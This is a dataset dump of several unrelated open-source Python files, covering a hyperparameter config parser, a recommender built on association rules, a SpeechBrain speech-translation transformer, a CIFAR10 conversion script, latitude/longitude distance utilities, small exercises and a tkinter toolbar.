isinstance(_parameters, list):\n for _parameter in _parameters:\n param = load_parameter(_parameter)\n parameters.append(param)\n else:\n raise ValueError('Wrong parameter type.')\n # domain_constraints -------------------------------------------\n domain_constraints = config.get('domain_constraints', None)\n if domain_constraints is not None:\n domain_constraints = _load_domain_constraints(domain_constraints)\n # Fidelity space -----------------------------------------------\n fidel_parameters = []\n _parameters = config.get('fidel_space', {})\n if isinstance(_parameters, dict):\n for key in list(_parameters.keys()):\n param = load_parameter(_parameters[key], key)\n fidel_parameters.append(param)\n elif isinstance(_parameters, list):\n for _parameter in _parameters:\n param = load_parameter(_parameter)\n fidel_parameters.append(param)\n else:\n raise ValueError('Wrong parameter type.')\n # fidel_space_constraints ---------------------------------------\n fidel_space_constraints = config.get('fidel_space_constraints', None)\n if fidel_space_constraints is not None:\n fidel_space_constraints = _load_domain_constraints(fidel_space_constraints)\n # fidel_to_opt --------------------------------------------------\n fidel_to_opt = config.get('fidel_to_opt', None)\n if fidel_to_opt is not None:\n fidel_to_opt = _load_fidel_to_opt_parameters(fidel_to_opt)\n # Return\n return {'exp_info':exp_info, 'domain':parameters, 'fidel_space':fidel_parameters,\n 'fidel_to_opt':fidel_to_opt, 'domain_constraints':domain_constraints,\n 'fidel_space_constraints':fidel_space_constraints}\n\n\ndef load_parameter(parameter, key=None):\n \"\"\" Parses each parameter and return a dict \"\"\"\n # pylint: disable=too-many-branches\n # pylint: disable=too-many-statements\n # Common parameters\n _name = parameter.get('name', key)\n if _name is None:\n raise ValueError('Parameter name is required')\n _type = parameter.get('type', 'float')\n _kernel = parameter.get('kernel', '')\n # Common for Euclidean, Integral, Discrete, Discrete Numeric domains\n _dim = parameter.get('dim', \"\")\n # For Euclidean/Integral\n _min = parameter.get('min', -np.inf)\n _max = parameter.get('max', np.inf)\n # For Discrete\n _items = parameter.get('items', '')\n # For neural networks -- see below\n\n # Now process them\n param = {}\n param['name'] = unicode_to_str(_name)\n param['kernel'] = unicode_to_str(_kernel)\n param['type'] = unicode_to_str(_type).lower()\n # First for regular domains\n if param['type'] in ['float', 'int', 'discrete', 'discrete_numeric', 'boolean']:\n if not isinstance(_dim, Number):\n _dim = unicode_to_str(_dim)\n if _dim != \"\":\n _dim = int(_dim)\n param['dim'] = _dim\n if param['type'] in ['float', 'int']:\n param['min'] = _min\n param['max'] = _max\n elif param['type'] == 'discrete':\n if _items == '':\n raise ValueError('List of items required')\n if isinstance(_items, list):\n param['items'] = [unicode_to_str(i) for i in _items]\n else:\n param['items'] = unicode_to_str(_items).split('-')\n elif param['type'] == 'discrete_numeric':\n if _items == '':\n raise ValueError('List or range of items required')\n elif ':' not in _items:\n param['items'] = [float(x) for x in unicode_to_str(_items).split('-')]\n else:\n _range = [float(x) for x in unicode_to_str(_items).split(':')]\n param['items'] = list(np.arange(_range[0], _range[2], _range[1]))\n elif param['type'].startswith(('cnn', 'mlp')):\n nn_params = {}\n nn_params['max_num_layers'] = parameter.get('max_num_layers', 'inf')\n nn_params['min_num_layers'] = parameter.get('min_num_layers', 0)\n nn_params['max_mass'] = parameter.get('max_mass', 'inf')\n nn_params['min_mass'] = parameter.get('min_mass', 0)\n nn_params['max_in_degree'] = parameter.get('max_in_degree', 'inf')\n nn_params['max_out_degree'] = parameter.get('max_out_degree', 'inf')\n nn_params['max_num_edges'] = parameter.get('max_num_edges', 'inf')\n nn_params['max_num_units_per_layer'] = parameter.get('max_num_units_per_layer', 'inf')\n nn_params['min_num_units_per_layer'] = parameter.get('min_num_units_per_layer', 0)\n # For CNNs add strides\n if param['type'].startswith('cnn'):\n nn_params['max_num_2strides'] = parameter.get('max_num_2strides', 'inf')\n for nnp_key, nnp_val in nn_params.items():\n if isinstance(nnp_val, str):\n nnp_val = unicode_to_str(nnp_val)\n nnp_val = np.inf if nnp_val == 'inf' else nnp_val\n param[nnp_key] = nnp_val\n # Finally add the following\n param['dim'] = ''\n else:\n raise ValueError('Unknown type %s.'%(param['type']))\n return param\n\n\ndef read_json(config_file):\n \"\"\" Read from json file. \"\"\"\n try:\n with open(config_file, 'r') as _file:\n config = json.load(_file, object_pairs_hook=OrderedDict)\n _file.close()\n except Exception as e:\n raise Exception('Error in loading config file: ' + config_file + '.\\n -- ' + str(e))\n return load_parameters(config)\n\n\ndef read_pb(config_file):\n \"\"\" Read from protocol buffer file. \"\"\"\n # pylint: disable=import-error\n try:\n from google.protobuf import text_format\n from google.protobuf.json_format import MessageToDict\n except ImportError:\n raise ImportError('Protocol Buffer library is not installed')\n # Read PB file\n from . import config_pb2\n config_pb = config_pb2.Experiment()\n _file = open(config_file, \"rb\")\n text_format.Merge(_file.read(), config_pb)\n _file.close()\n # Load parameters and return\n config = MessageToDict(config_pb)\n config['fidel_space'] = config.pop('fidelSpace', {})\n return load_parameters(config)\n\n\ndef config_parser(config_file):\n \"\"\"Reads config files and creates domain objects. \"\"\"\n if config_file.endswith('.json'):\n params = read_json(config_file)\n elif config_file.endswith('.pb'):\n params = read_pb(config_file)\n else:\n raise ValueError('Wrong Config file: %s' % (config_file))\n return params\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n raise ValueError('Need Config File.')\n config_parser(sys.argv[1])\n\n","repo_name":"dragonfly/dragonfly","sub_path":"dragonfly/parse/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":8340,"program_lang":"python","lang":"en","doc_type":"code","stars":811,"dataset":"github-code","pt":"52"} +{"seq_id":"25841768654","text":"## Association Rule Based Recommender System\n\n#########\n# imports and settings\n#########\nimport pandas as pd\nfrom mlxtend.frequent_patterns import apriori, association_rules\n\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\npd.set_option('display.width', 800)\n\npd.set_option('display.expand_frame_repr', False)\n\n\n#########\n# Prepare the data.\n#########\n\nar_data = pd.read_csv('armut_data.csv')\nar_data.head()\n\n#########\n# Make a new feature called Hizmet that consists of Category ID and Service ID\n#########\nar_data[\"Hizmet\"] = [str(row[1]) + \"_\" + str(row[2]) for row in ar_data.values]\n\n#########\n# In order to apply association rule learning we need to get the data into a specific format\n# this format should consist a basket of products, since we don't have that in this dataset\n# we will make a new variable that will represents the basket IDs\n#########\nar_data[\"CreateDate\"] = pd.to_datetime(ar_data[\"CreateDate\"])\nar_data[\"NEW_DATE\"] = ar_data[\"CreateDate\"].dt.strftime(\"%Y-%m\")\n\nar_data[\"SepetID\"] = ar_data[\"UserId\"].astype(str) + \"_\" + ar_data[\"NEW_DATE\"].astype(str)\n\n#########\n# In this step, we will make the association rules\n#########\n\n# the pivot table:\narTable = ar_data.groupby(['SepetID', 'Hizmet'])['Hizmet'].count().unstack().fillna(0).applymap(lambda x: 1 if x > 0 else 0)\narTable.head()\n#Creating the rules\nfrequent_itemsets = apriori(arTable,min_support=0.01,use_colnames=True)\nrules = association_rules(frequent_itemsets,metric=\"support\",min_threshold=0.01)\n\n\n# Now that we have the rules table we can make predictions based on either the support values, confidence values, lift\n# values or a combo of them.\n\n\ndef arl_recommender(rules_df, product_id, rec_count=1):\n sorted_rules = rules_df.sort_values(\"lift\", ascending=False)\n recommendation_list = []\n for i, product in sorted_rules[\"antecedents\"].items():\n for j in list(product):\n if j == product_id:\n recommendation_list.append(list(sorted_rules.iloc[i][\"consequents\"]))\n recommendation_list = list({item for item_list in recommendation_list for item in item_list})\n return recommendation_list[:rec_count]\n\n# By using the function defined above we can easily call this function with a service input to get recommendations to\n# that service.\n\n\n\n","repo_name":"BeshOZ/ARLProject","sub_path":"Armut/ArmutProject.py","file_name":"ArmutProject.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12037958504","text":"\"\"\"Transformer for ST in the SpeechBrain sytle.\n\nAuthors\n* YAO FEI, CHENG 2021\n\"\"\"\n\nimport torch # noqa 42\nimport logging\nfrom torch import nn\nfrom typing import Optional\n\nfrom speechbrain.nnet.containers import ModuleList\nfrom speechbrain.lobes.models.transformer.Transformer import (\n get_lookahead_mask,\n get_key_padding_mask,\n NormalizedEmbedding,\n TransformerDecoder,\n TransformerEncoder,\n)\nfrom speechbrain.lobes.models.transformer.Conformer import ConformerEncoder\nfrom speechbrain.lobes.models.transformer.TransformerASR import TransformerASR\nfrom speechbrain.nnet.activations import Swish\n\nlogger = logging.getLogger(__name__)\n\n\nclass TransformerST(TransformerASR):\n \"\"\"This is an implementation of transformer model for ST.\n\n The architecture is based on the paper \"Attention Is All You Need\":\n https://arxiv.org/pdf/1706.03762.pdf\n\n Arguments\n ----------\n tgt_vocab: int\n Size of vocabulary.\n input_size: int\n Input feature size.\n d_model : int, optional\n Embedding dimension size.\n (default=512).\n nhead : int, optional\n The number of heads in the multi-head attention models (default=8).\n num_encoder_layers : int, optional\n The number of sub-encoder-layers in the encoder (default=6).\n num_decoder_layers : int, optional\n The number of sub-decoder-layers in the decoder (default=6).\n dim_ffn : int, optional\n The dimension of the feedforward network model (default=2048).\n dropout : int, optional\n The dropout value (default=0.1).\n activation : torch.nn.Module, optional\n The activation function of FFN layers.\n Recommended: relu or gelu (default=relu).\n positional_encoding: str, optional\n Type of positional encoding used. e.g. 'fixed_abs_sine' for fixed absolute positional encodings.\n normalize_before: bool, optional\n Whether normalization should be applied before or after MHA or FFN in Transformer layers.\n Defaults to True as this was shown to lead to better performance and training stability.\n kernel_size: int, optional\n Kernel size in convolutional layers when Conformer is used.\n bias: bool, optional\n Whether to use bias in Conformer convolutional layers.\n encoder_module: str, optional\n Choose between Conformer and Transformer for the encoder. The decoder is fixed to be a Transformer.\n conformer_activation: torch.nn.Module, optional\n Activation module used after Conformer convolutional layers. E.g. Swish, ReLU etc. it has to be a torch Module.\n attention_type: str, optional\n Type of attention layer used in all Transformer or Conformer layers.\n e.g. regularMHA or RelPosMHA.\n max_length: int, optional\n Max length for the target and source sequence in input.\n Used for positional encodings.\n causal: bool, optional\n Whether the encoder should be causal or not (the decoder is always causal).\n If causal the Conformer convolutional layer is causal.\n ctc_weight: float\n The weight of ctc for asr task\n asr_weight: float\n The weight of asr task for calculating loss\n mt_weight: float\n The weight of mt task for calculating loss\n asr_tgt_vocab: int\n The size of the asr target language\n mt_src_vocab: int\n The size of the mt source language\n Example\n -------\n >>> src = torch.rand([8, 120, 512])\n >>> tgt = torch.randint(0, 720, [8, 120])\n >>> net = TransformerST(\n ... 720, 512, 512, 8, 1, 1, 1024, activation=torch.nn.GELU,\n ... ctc_weight=1, asr_weight=0.3,\n ... )\n >>> enc_out, dec_out = net.forward(src, tgt)\n >>> enc_out.shape\n torch.Size([8, 120, 512])\n >>> dec_out.shape\n torch.Size([8, 120, 512])\n \"\"\"\n\n def __init__(\n self,\n tgt_vocab,\n input_size,\n d_model=512,\n nhead=8,\n num_encoder_layers=6,\n num_decoder_layers=6,\n d_ffn=2048,\n dropout=0.1,\n activation=nn.ReLU,\n positional_encoding=\"fixed_abs_sine\",\n normalize_before=False,\n kernel_size: Optional[int] = 31,\n bias: Optional[bool] = True,\n encoder_module: Optional[str] = \"transformer\",\n conformer_activation: Optional[nn.Module] = Swish,\n attention_type: Optional[str] = \"regularMHA\",\n max_length: Optional[int] = 2500,\n causal: Optional[bool] = True,\n ctc_weight: float = 0.0,\n asr_weight: float = 0.0,\n mt_weight: float = 0.0,\n asr_tgt_vocab: int = 0,\n mt_src_vocab: int = 0,\n ):\n super().__init__(\n tgt_vocab=tgt_vocab,\n input_size=input_size,\n d_model=d_model,\n nhead=nhead,\n num_encoder_layers=num_encoder_layers,\n num_decoder_layers=num_decoder_layers,\n d_ffn=d_ffn,\n dropout=dropout,\n activation=activation,\n positional_encoding=positional_encoding,\n normalize_before=normalize_before,\n kernel_size=kernel_size,\n bias=bias,\n encoder_module=encoder_module,\n conformer_activation=conformer_activation,\n attention_type=attention_type,\n max_length=max_length,\n causal=causal,\n )\n\n if ctc_weight < 1 and asr_weight > 0:\n self.asr_decoder = TransformerDecoder(\n num_layers=num_decoder_layers,\n nhead=nhead,\n d_ffn=d_ffn,\n d_model=d_model,\n dropout=dropout,\n activation=activation,\n normalize_before=normalize_before,\n causal=True,\n attention_type=\"regularMHA\", # always use regular attention in decoder\n )\n self.custom_asr_tgt_module = ModuleList(\n NormalizedEmbedding(d_model, asr_tgt_vocab)\n )\n\n if mt_weight > 0:\n self.custom_mt_src_module = ModuleList(\n NormalizedEmbedding(d_model, mt_src_vocab)\n )\n if encoder_module == \"transformer\":\n self.mt_encoder = TransformerEncoder(\n nhead=nhead,\n num_layers=num_encoder_layers,\n d_ffn=d_ffn,\n d_model=d_model,\n dropout=dropout,\n activation=activation,\n normalize_before=normalize_before,\n causal=self.causal,\n attention_type=self.attention_type,\n )\n elif encoder_module == \"conformer\":\n self.mt_encoder = ConformerEncoder(\n nhead=nhead,\n num_layers=num_encoder_layers,\n d_ffn=d_ffn,\n d_model=d_model,\n dropout=dropout,\n activation=conformer_activation,\n kernel_size=kernel_size,\n bias=bias,\n causal=self.causal,\n attention_type=self.attention_type,\n )\n assert (\n normalize_before\n ), \"normalize_before must be True for Conformer\"\n\n assert (\n conformer_activation is not None\n ), \"conformer_activation must not be None\"\n\n # reset parameters using xavier_normal_\n self._init_params()\n\n def forward_asr(self, encoder_out, src, tgt, wav_len, pad_idx=0):\n \"\"\"This method implements a decoding step for asr task\n\n Arguments\n ----------\n encoder_out : tensor\n The representation of the encoder (required).\n tgt (transcription): tensor\n The sequence to the decoder (required).\n pad_idx : int\n The index for token (default=0).\n \"\"\"\n # reshpae the src vector to [Batch, Time, Fea] is a 4d vector is given\n if src.dim() == 4:\n bz, t, ch1, ch2 = src.shape\n src = src.reshape(bz, t, ch1 * ch2)\n\n (\n src_key_padding_mask,\n tgt_key_padding_mask,\n src_mask,\n tgt_mask,\n ) = self.make_masks(src, tgt, wav_len, pad_idx=pad_idx)\n\n transcription = self.custom_asr_tgt_module(tgt)\n\n if self.attention_type == \"RelPosMHAXL\":\n transcription = transcription + self.positional_encoding_decoder(\n transcription\n )\n elif self.attention_type == \"fixed_abs_sine\":\n transcription = transcription + self.positional_encoding(\n transcription\n )\n\n asr_decoder_out, _, _ = self.asr_decoder(\n tgt=transcription,\n memory=encoder_out,\n memory_mask=src_mask,\n tgt_mask=tgt_mask,\n tgt_key_padding_mask=tgt_key_padding_mask,\n memory_key_padding_mask=src_key_padding_mask,\n )\n\n return asr_decoder_out\n\n def forward_mt(self, src, tgt, pad_idx=0):\n \"\"\"This method implements a forward step for mt task\n\n Arguments\n ----------\n src (transcription): tensor\n The sequence to the encoder (required).\n tgt (translation): tensor\n The sequence to the decoder (required).\n pad_idx : int\n The index for token (default=0).\n \"\"\"\n\n (\n src_key_padding_mask,\n tgt_key_padding_mask,\n src_mask,\n tgt_mask,\n ) = self.make_masks_for_mt(src, tgt, pad_idx=pad_idx)\n\n src = self.custom_mt_src_module(src)\n\n if self.attention_type == \"RelPosMHAXL\":\n pos_embs_encoder = self.positional_encoding(src)\n elif self.positional_encoding_type == \"fixed_abs_sine\":\n src = src + self.positional_encoding(src)\n pos_embs_encoder = None\n\n encoder_out, _ = self.mt_encoder(\n src=src,\n src_mask=src_mask,\n src_key_padding_mask=src_key_padding_mask,\n pos_embs=pos_embs_encoder,\n )\n\n tgt = self.custom_tgt_module(tgt)\n\n if self.attention_type == \"RelPosMHAXL\":\n # use standard sinusoidal pos encoding in decoder\n tgt = tgt + self.positional_encoding_decoder(tgt)\n src = src + self.positional_encoding_decoder(src)\n elif self.positional_encoding_type == \"fixed_abs_sine\":\n tgt = tgt + self.positional_encoding(tgt)\n\n decoder_out, _, _ = self.decoder(\n tgt=tgt,\n memory=encoder_out,\n memory_mask=src_mask,\n tgt_mask=tgt_mask,\n tgt_key_padding_mask=tgt_key_padding_mask,\n memory_key_padding_mask=src_key_padding_mask,\n )\n\n return encoder_out, decoder_out\n\n def forward_mt_decoder_only(self, src, tgt, pad_idx=0):\n \"\"\"This method implements a forward step for mt task using a wav2vec encoder\n (same than above, but without the encoder stack)\n\n Arguments\n ----------\n src (transcription): tensor\n output features from the w2v2 encoder\n tgt (translation): tensor\n The sequence to the decoder (required).\n pad_idx : int\n The index for token (default=0).\n \"\"\"\n\n (\n src_key_padding_mask,\n tgt_key_padding_mask,\n src_mask,\n tgt_mask,\n ) = self.make_masks_for_mt(src, tgt, pad_idx=pad_idx)\n\n tgt = self.custom_tgt_module(tgt)\n\n if self.attention_type == \"RelPosMHAXL\":\n # use standard sinusoidal pos encoding in decoder\n tgt = tgt + self.positional_encoding_decoder(tgt)\n elif self.positional_encoding_type == \"fixed_abs_sine\":\n tgt = tgt + self.positional_encoding(tgt)\n\n decoder_out, _, multihead = self.decoder(\n tgt=tgt,\n memory=src,\n memory_mask=src_mask,\n tgt_mask=tgt_mask,\n tgt_key_padding_mask=tgt_key_padding_mask,\n memory_key_padding_mask=src_key_padding_mask,\n )\n\n return decoder_out\n\n def decode_asr(self, tgt, encoder_out):\n \"\"\"This method implements a decoding step for the transformer model.\n\n Arguments\n ---------\n tgt : torch.Tensor\n The sequence to the decoder.\n encoder_out : torch.Tensor\n Hidden output of the encoder.\n \"\"\"\n tgt_mask = get_lookahead_mask(tgt)\n tgt = self.custom_tgt_module(tgt)\n if self.attention_type == \"RelPosMHAXL\":\n # we use fixed positional encodings in the decoder\n tgt = tgt + self.positional_encoding_decoder(tgt)\n encoder_out = encoder_out + self.positional_encoding_decoder(\n encoder_out\n )\n elif self.positional_encoding_type == \"fixed_abs_sine\":\n tgt = tgt + self.positional_encoding(tgt) # add the encodings here\n\n prediction, _, multihead_attns = self.asr_decoder(\n tgt, encoder_out, tgt_mask=tgt_mask,\n )\n\n return prediction, multihead_attns[-1]\n\n def make_masks_for_mt(self, src, tgt, pad_idx=0):\n \"\"\"This method generates the masks for training the transformer model.\n\n Arguments\n ---------\n src : tensor\n The sequence to the encoder (required).\n tgt : tensor\n The sequence to the decoder (required).\n pad_idx : int\n The index for token (default=0).\n \"\"\"\n src_key_padding_mask = None\n if self.training:\n src_key_padding_mask = get_key_padding_mask(src, pad_idx=pad_idx)\n tgt_key_padding_mask = get_key_padding_mask(tgt, pad_idx=pad_idx)\n\n src_mask = None\n tgt_mask = get_lookahead_mask(tgt)\n\n return src_key_padding_mask, tgt_key_padding_mask, src_mask, tgt_mask\n","repo_name":"speechbrain/speechbrain","sub_path":"speechbrain/lobes/models/transformer/TransformerST.py","file_name":"TransformerST.py","file_ext":"py","file_size_in_byte":13931,"program_lang":"python","lang":"en","doc_type":"code","stars":6855,"dataset":"github-code","pt":"52"} +{"seq_id":"75247018724","text":"import os\nimport os.path as osp\nimport attack.config as cfg\nfrom attack import datasets\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nimport matplotlib.pyplot as plt\n\n# ----------- Set up trainset/testset\ndataset_name = \"CIFAR10\"\nnum_classes = 10\nvalid_datasets = datasets.__dict__.keys()\nmodelfamily = datasets.dataset_to_modelfamily[dataset_name]\nif dataset_name not in valid_datasets:\n raise ValueError('Dataset not found. Valid arguments = {}'.format(valid_datasets))\ndataset = datasets.__dict__[dataset_name]\ntrainset = dataset(train=True, transform=transforms.ToTensor())\ntestset = dataset(train=False, transform=transforms.ToTensor())\nif len(testset.classes) != num_classes:\n raise ValueError('# Transfer classes ({}) != # Testset classes ({})'.format(num_classes, len(testset.classes)))\n\nbatch_size = 128\nnum_workers = 10\ntrain_loader = DataLoader(trainset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\ntest_loader = DataLoader(testset, batch_size=batch_size, shuffle=False, num_workers=num_workers)\n\nimages_train, labels_train = [], []\nout_dir = osp.join(cfg.DATASET_ROOT, \"cifar10/training.pt\")\nfor images, targets in train_loader:\n images_train.append(images.clone())\n labels_train.append(targets.clone())\n#train_pt = [torch.cat(images_train).permute(0, 2, 3, 1), torch.cat(labels_train)]\ntrain_pt = [torch.cat(images_train), torch.cat(labels_train)]\nprint(train_pt[0].shape)\ntorch.save(train_pt, out_dir)\nprint(f\"Save {train_pt[0].size(0)} images to {out_dir}\")\n\nimages_test, labels_test = [], []\nout_dir = osp.join(cfg.DATASET_ROOT, \"cifar10/test.pt\")\nfor images, targets in test_loader:\n images_test.append(images.clone())\n labels_test.append(targets.clone())\n#test_pt = [torch.cat(images_test).permute(0, 2, 3, 1), torch.cat(labels_test)]\ntest_pt = [torch.cat(images_test), torch.cat(labels_test)]\ntorch.save(test_pt, out_dir)\nprint(f\"Save {test_pt[0].size(0)} images to {out_dir}\")","repo_name":"zhanyuanucb/model-extraction-defense","sub_path":"nparray2pt.py","file_name":"nparray2pt.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"21005186314","text":"from random import randint\n\nwith open(\"graph2.in\", \"w\") as f:\n n = 10000\n m = 25000\n f.write(str(n) + \"\\n\")\n for i in range(n):\n f.write(randint(1, 100))\n e = 50000\n f.write(\"\\n\" + str(m) + \"\\n\")\n for i in range(e):\n x = randint(1, m)\n y = randint(1, m)\n while x == y:\n y = randint(1, m)\n f.write(str(x) + \" \" + str(y) + \"\\n\")\n\n\n\n","repo_name":"rusucosmin/courses","sub_path":"ubb/pdp/lab1/genbig.py","file_name":"genbig.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"52"} +{"seq_id":"40831707748","text":"'''\nlatlon_disttools.py\nSet of tools for calculating distances and finding nearest grid points\nbased on given lat lon grid and alt lon coordiantes.\nTools include:\n dist_latlon = distance between two points\n dist_map = grid of distances between all points and specified lat/lon\n dist_map_plot = plot of distance between all points and specified lat/lon\n nearest_point = indices of grid point nearest to specified lat/lon, optionally\n including whether the grid point is over land or sea\n\nWritten by Stephen Outten 2018\n'''\n\nimport numpy as np\n\ndef dist_latlon(lat1,lon1,lat2,lon2):\n '''\n Calculates the distance between two points given their latitudes and londitudes.\n Usage: distance = dist_latlon(lat1,lon1,lat2,lon2)\n lat1 = latitude of point 1\n lon1 = londitude of point 1\n lat2 = latitude of point 2\n lon2 = londitude of point 2\n\n distance = distance between the two points in kilometers\n '''\n R = 6373.0\n lat1 = np.radians(lat1)\n lat2 = np.radians(lat2)\n lon1 = np.radians(lon1)\n lon2 = np.radians(lon2)\n\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n\n a = np.sin(dlat/2)**2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon/2)**2\n c = 2 * np.arctan2(np.sqrt(a), np.sqrt(1-a))\n\n distance = R * c\n\n return distance\n\n\ndef dist_map(lat,lon,latgrid,longrid):\n '''\n Calculates the distance between the point specified by lat/lon, and\n every grid point in the grids latgrid and longrid.\n Usage: distances = dist_map(lat,lon,latgrid,longrid)\n lat = latitude of specified point \n lon = longitude of specified point\n latgrid = array of latitudes\n longrid = array of longitudes\n\n distances = array of distances in km for each point in latgrid/longrid to point lat/lon\n '''\n if (latnp.nanmax(latgrid)) or (lonnp.nanmax(longrid)):\n print(\"Grid point {0:.1f}N, {0:.1f}E is outside of the grid of latitudes and longitudes provided.\".format(lat,lon))\n a,b = latgrid.shape\n distances = np.nan * np.ones([a,b])\n for i in range(a):\n for j in range(b):\n distances[i,j] = dist_latlon(lat,lon,latgrid[i,j],longrid[i,j])\n return distances\n\n\ndef dist_map_plot(lat,lon,latgrid,longrid,latmin=None,latmax=None,lonmin=None,lonmax=None):\n '''\n Plots a map of distances between the point specified by lat/lon, and\n every grid point in the grids latgrid and longrid.\n Limits of the map may be given or are taken as limits of latgrid and lon grid.\n Uses Basemap if available.\n Usage: dist_map_plot(lat,lon,latgrid,longrid)\n lat = latitude of specified point\n lon = longitude of specified point\n latgrid = array of latitudes\n longrid = array of longitudes\n latmin = lowest latitude for plot\n latmax = highest latitude of plot\n lonmin = lowest longitude of plot\n lonmax = highest longitude of plot\n '''\n if latmin==None: latmin = np.nanmin(latgrid)\n if latmax==None: latmax = np.nanmax(latgrid)\n if lonmin==None: lonmin = np.nanmin(longrid)\n if lonmax==None: lonmax = np.nanmax(longrid)\n bmap = False\n try: \n from mpl_toolkits.basemap import Basemap\n bmap = True\n except:\n print(\"Basemap not available, unable to plot orography.\")\n try:\n import matplotlib.pyplot as plt\n except:\n print(\"Matplotlib not available. Unable to plot.\")\n return\n\n distances = dist_map(lat, lon, latgrid, longrid)\n pltmaxdist = int(np.nanmax(distances)/100)*100\n f1, axs = plt.subplots(1, 1)\n if bmap: \n m = Basemap(projection='mill', llcrnrlat=latmin,urcrnrlat=latmax,llcrnrlon=lonmin,urcrnrlon=lonmax,resolution='l',ax=axs,fix_aspect=False)\n m.drawcoastlines()\n x, y = m(longrid, latgrid)\n cs = m.contourf(x,y,distances,30,vmin=0,vmax=pltmaxdist)\n m.drawparallels(np.arange(-90,90,10),labels=[True,False,False,False], linewidth=1)\n m.drawmeridians(np.arange(-180,180,10),labels=[False,False,False,True], linewidth=1)\n f1.colorbar(cs)\n plt.show()\n return\n else:\n cs = axs.contourf(longrid,latgrid,distances,30,vmin=0,vmax=pltmaxdist)\n axs.contour(longrid,latgrid,latgrid,np.arange(-90,90,10),colors='k')\n axs.contour(longrid,latgrid,longrid,np.arange(-180,180,10),colors='k')\n f1.colorbar(cs)\n plt.show()\n return\n\n\ndef nearest_point(lat,lon,latgrid,longrid,lsm=None,surface=None):\n '''\n Returns the indicies in the array of latgrid/longrid for the grid point closest \n to the location specified by lat/lon.\n Usage: indx, indy = nearest_point(lat,lon,latgrid,longrid)\n lat = latitude of specified point\n lon = longitude of specified point\n latgrid = array of latitudes\n longrid = array of longitudes\n lsm = array of land sea mask (0s and 1s) or orography\n surface = \"land\" or \"sea\" \n indx, indy = x and y index for for nearest grid point in gridlat/gridlon\n '''\n if (latnp.nanmax(latgrid)) or (lonnp.nanmax(longrid)):\n print(\"Grid point {0:.1f}N, {0:.1f}E is outside of the grid of latitudes and longitudes provided.\".format(lat,lon))\n return None,None\n if str(surface).lower() not in [\"land\",\"sea\",\"none\"]:\n print('Surface must be \"land\" or \"sea')\n return None, None\n\n a,b = latgrid.shape\n distances = np.nan * np.ones([a,b])\n for i in range(a):\n for j in range(b):\n distances[i,j] = dist_latlon(lat,lon,latgrid[i,j],longrid[i,j])\n\n lsm = np.array(lsm) # avoids modifying elements of mutable object even if not returned\n if (str(lsm).lower() != 'none') and (str(surface).lower() != 'none'):\n lsm[lsm<0] = 0 # if sea have negative orography\n lsm[lsm>0] = 1 # if land is orography height\n lsm[np.isnan(lsm)] = 1 # if land is give as NaNs\n if str(surface).lower() == 'land':\n lsm[lsm==0] = np.nan\n else:\n lsm[lsm==1] = np.nan\n lsm[lsm==0] = 1\n distances *= lsm\n\n indx = np.where(distances==np.nanmin(distances))[0][0]\n indy = np.where(distances==np.nanmin(distances))[1][0]\n\n return indx, indy\n\n\n","repo_name":"nansencenter/AR_Tracking","sub_path":"latlon_disttools.py","file_name":"latlon_disttools.py","file_ext":"py","file_size_in_byte":6348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"22315888812","text":"number_to_multiply = int(input(\"Input number to multiply: \")) # Do not change this line\nhow_often = int(input(\"Input how often to multiply: \")) # Do not change this line\n\n\nfor i in range(number_to_multiply, (how_often * number_to_multiply) + 1, number_to_multiply):\n print(i)\n\n\n\n#fyrsta ár er 15, annað 9 og öll hin samsvara 4 hvert\n\ndog_age = int(input(\"Input dog's age: \")) # Do not change this line\nhuman_age = 0\n\nif dog_age <= 0 or dog_age > 16:\n print(\"Invalid age\")\n\nwhile dog_age > 0 and dog_age <= 16:\n if dog_age == 1:\n human_age = 15\n elif dog_age == 2:\n human_age = 24\n elif dog_age > 2:\n human_age = 28 + 4*(dog_age - 3)\n print(\"Human age:\", human_age)\n break\n\n\n\nimport math\n\nstart_int = int(input(\"Input starting integer: \"))\n\n\nwhile start_int >= 2:\n result = round(math.sqrt(start_int), 4)\n start_int = result\n print(result)\n \n\nmax_int = int(input(\"Input max integer: \"))\n\nfor i in range(0, max_int + 1):\n for j in range(1, i + 1):\n print(j, end=\" \")\n print()\n\n\n","repo_name":"kristjanleifur4/forritun-2020","sub_path":"midterm1.py","file_name":"midterm1.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39522592351","text":"from tkinter import *\nfrom settings import *\nfrom tools.utils import *\n\n\nclass ToolBar(Frame):\n def __init__(self, *args, **kwargs):\n Frame.__init__(self, *args, **kwargs)\n self.labelToolRight = Label(\n self,\n foreground=theme.foreground[\"foreground-gray\"],\n text=\"None\",\n background=theme.background[\"background\"],\n font=theme.font[\"font-mini\"],\n )\n self.labelToolRight.pack(side=RIGHT, padx=(0, 10), pady=(0, 4))\n\n self.labelToolLeft = Label(\n self,\n foreground=theme.foreground[\"foreground-gray\"],\n text=\"None\",\n background=theme.background[\"background\"],\n font=theme.font[\"font-mini\"],\n )\n self.labelToolLeft.pack(side=LEFT, padx=(10, 0), pady=(0, 4))\n if pref.popup[\"popups\"]:\n lbl1 = CreateToolTip(self.labelToolRight, lang[\"popups\"][\"label-right\"])\n lbl2 = CreateToolTip(self.labelToolLeft, lang[\"popups\"][\"label-left\"])\n\n def _updateToolBar(self, editor):\n (line, char) = editor.index(INSERT).split(\".\")\n totalLine = int(editor.index(END).split(\".\")[0]) - 1\n self.labelToolRight.configure(\n text=f'{lang[\"tools\"][\"line\"]} {line}, {lang[\"tools\"][\"col\"]} {char} - {totalLine} {lang[\"tools\"][\"lines\"]} {lang[\"tools\"][\"space\"]}: {pref.textarea[\"measureCO\"]} {pref.window[\"version\"]}'\n )\n 